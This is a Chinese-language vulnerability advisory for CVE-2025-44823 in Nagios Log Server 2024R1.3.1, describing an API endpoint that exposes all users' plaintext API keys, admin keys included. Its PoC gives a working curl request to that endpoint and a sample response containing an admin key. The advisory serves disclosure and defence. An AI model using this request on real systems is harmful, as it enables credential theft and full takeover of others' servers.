Nagios Log Server 2024R1.3.1 中经过身份验证的 API 密钥泄露

▶️ PoC Demo

CVE ID: CVE-2025-44823

日期: 2025-04-02

作者: Alex Tisdale, Seth Kraft

供应商主页: https://www.nagios.com/

供应商更新日志: https://www.nagios.com/changelog/#log-server

软件链接: https://assets.nagios.com/downloads/nagios-log-server/versions.php

版本: 2024R1.3.1 及以下

测试环境: Nagios Log Server 2024R1.3.1（默认配置，Ubuntu 20.04）

CWE: CWE-497

CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

授权

仅限研究和授权测试。 请勿在未经许可的系统上使用。

描述

Nagios Log Server 2024R1.3.1 中存在一个 API 级别的漏洞，允许任何拥有有效 API 令牌的用户检索完整的用户账户列表及其明文 API 密钥，包括管理员凭据。此缺陷使得攻击者能够通过未授权使用暴露的令牌进行用户枚举、权限提升，并最终完全控制系统。

PoC

步骤 1：访问易受攻击的端点

curl -X GET "http://<target-ip>/nagioslogserver/index.php/api/system/get_users?token=<valid_token>"

示例响应

[
  {
    "name": "devadmin",
    "username": "devadmin",
    "email": "[email protected]",
    "apikey": "dcaa1693a79d651ebc29d45c879b3fbbc730d2de",
    "auth_type": "admin",
    ...
  }
]